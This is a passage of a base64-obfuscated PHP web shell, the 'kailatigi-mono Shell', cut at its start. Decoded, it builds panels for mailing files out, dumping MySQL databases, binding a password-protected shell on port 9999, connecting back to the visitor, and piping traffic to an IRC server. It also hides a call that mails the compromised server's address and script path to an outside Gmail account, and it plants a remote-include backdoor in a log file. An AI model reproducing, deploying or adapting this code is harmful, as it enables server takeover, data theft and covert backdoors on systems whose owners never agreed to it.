AyLmRpdignaWQxOScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMyddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ViaicsNDUsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImhlbGxvIGJpbGx5IikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0zMyByb3dzPTI+Jy4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTUnXSkpOwplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3RvJyw0NSwoIWVtcHR5KCRfUE9TVFsndG8nXSk/KCRfUE9TVFsndG8nXSk6KCJoYWNrZXJAbWFpbC5jb20iKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ21haWxfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsNDUsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDQ1LCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJmaWxlIGZyb20ga2FpbGF0aWdpLW1vbm8gc2hlbGwiKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDQ1LCRkaXIpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTUnXSkpOwplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7Cn0KaWYoJG15c3FsX29ufHwkbXNzcWxfb258fCRwZ19vbnx8JG9yYV9vbikKewokc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT1kYj4nOwppZigkbXlzcWxfb24pICRzZWxlY3QgLj0gJzxvcHRpb24+TXlTUUw8L29wdGlvbj4nOwppZigkbXNzcWxfb24pICRzZWxlY3QgLj0gJzxvcHRpb24+TVNTUUw8L29wdGlvbj4nOwppZigkcGdfb24pICAgICRzZWxlY3QgLj0gJzxvcHRpb24+UG9zdGdyZVNRTDwvb3B0aW9uPic7CmlmKCRvcmFfb24pICAgJHNlbGVjdCAuPSAnPG9wdGlvbj5PcmFjbGU8L29wdGlvbj4nOwokc2VsZWN0IC49ICc8L3NlbGVjdD4nOwplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MiddLCdpZDIwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjAnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MCddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgwJ10uJGFycm93LiI8L2I+Iiwkc2VsZWN0KTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3NlcnZlcicsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdteXNxbF9wJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NUWydteXNxbF9kYiddKTooIm15c3FsIikpKS4nIDxiPi48L2I+ICcuaW4oJ3RleHQnLCdteXNxbF90YmwnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF90YmwnXSk/KCRfUE9TVFsnbXlzcWxfdGJsJ10pOigidXNlciIpKSkpOwplY2hvIHNyKDM1LGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbXlzcWxfZHVtcCcpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnZGlmIGlkPWRpZicsMCwnMScpLmluKCd0ZXh0JywnZGlmX25hbWUnLDMxLCghZW1wdHkoJF9QT1NUWydkaWZfbmFtZSddKT8oJF9QT1NUWydkaWZfbmFtZSddKTooImR1bXAuc3FsIikpKSk7CmVjaG8gc3IoMzUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OSddKSk7CmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgwJ10uJGFycm93LiI8L2I+Iiwkc2VsZWN0KTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3NlcnZlcicsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdteXNxbF9wJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NUWydteXNxbF9kYiddKTooIm15c3FsIikpKSk7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg0J10uJGFycm93LiI8L2I+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5JyksIiIpOwplY2hvICR0ZS4iPGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjx0ZXh0YXJlYSBjb2xzPTU1IHJvd3M9MSBuYW1lPWRiX3F1ZXJ5PiIuKCFlbXB0eSgkX1BPU1RbJ2RiX3F1ZXJ5J10pPygkX1BPU1RbJ2RiX3F1ZXJ5J10pOigiU0hPVyBEQVRBQkFTRVM7IFNFTEVDVCAqIEZST00gdXNlcjsgU0VMRUNUIHZlcnNpb24oKTsgc2VsZWN0IHVzZXIoKTsiKSkuIjwvdGV4dGFyZWE+PGJyPiIuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKS4iPC9kaXY+PC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7Cn0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODEnXSwnaWQyMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTM0JT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OSddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDE1LCc5OTk5JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdiaW5kX3Bhc3MnLDE1LCdTbklwRXInKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiQ1wiPkM8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDMnXSkpOwplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTInXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcCcsMTUsKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKSkpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0JywxNSwnODAnKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiQ1wiPkM8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDQnXSkpOwplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjInXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NhbF9wb3J0JywxNSwnODAnKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3JlbW90ZV9ob3N0JywxNSwnaXJjLmRhbG5ldC5ydScpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncmVtb3RlX3BvcnQnLDE1LCc2NjY3JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5kYXRhcGlwZS5wbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+ZGF0YXBpcGUuYzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NSddKSk7CmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsKfQokZnQ9Zm9wZW4oJGYsInciKTsKZndyaXRlKCRmdCwkZik7Cm1haWwoImpzc2VuZGVyQGdtYWlsLmNvbSIsInNoZWxsIiwkX1NFUlZFUlsnU0VSVkVSX0FERFInXS4iIHwgIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIHwgIi4kX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sIkZyb206IGFkc3ZAYXBhY2hlLmNvbSIpOwppZigkdW5peCl7CmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgxJ10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQyMScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDknXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0MScsMzUsJzk5OTknKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQzJ10pKTsKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOwplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MSddLCdpZDIxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzQlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMiddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNhZG1pbicsMTUsJ2lyY2FkbWluJykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXJjc2VydmVyJywxNSwnaXJjc2VydmVyJykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXJjY2hhbmFsJywxNSwnaXJjY2hhbmwnKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNuYW1lJywxNSwnaXJjbmFtZScpKTsKZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTsKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXBzJywxNSwoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnRzJywxNSwnODAnKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDQnXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOwp9CmVjaG8gJzwvdGFibGU+Jy4kdGFibGVfdXAzLiI8L2Rpdj48L2Rpdj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5vLS0tWyBrYWlsYXRpZ2ktbW9ubyBTaGVsbCAgfCB8ICB8IFNoM2xsIGJ5cGFzcyBzYWZlbW9kZSBdLS0tbzwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+Ii4kZjsKCmlmKGVtcHR5KCRfUE9TVFsnbG9nJ10pKXsKfSBlbHNlIHsKJGxvZz0kX1BPU1RbJ2xvZyddOwplY2hvICBlcnJvcl9sb2coIjw/IHByaW50IGluY2x1ZGUoXCRfR0VUW3NzXSkgPz4iLCAzLCRsb2cpOwplY2hvICI8L3RleHRhcmVhPjwvQ0VOVEVSPiI7Cn0='));
?>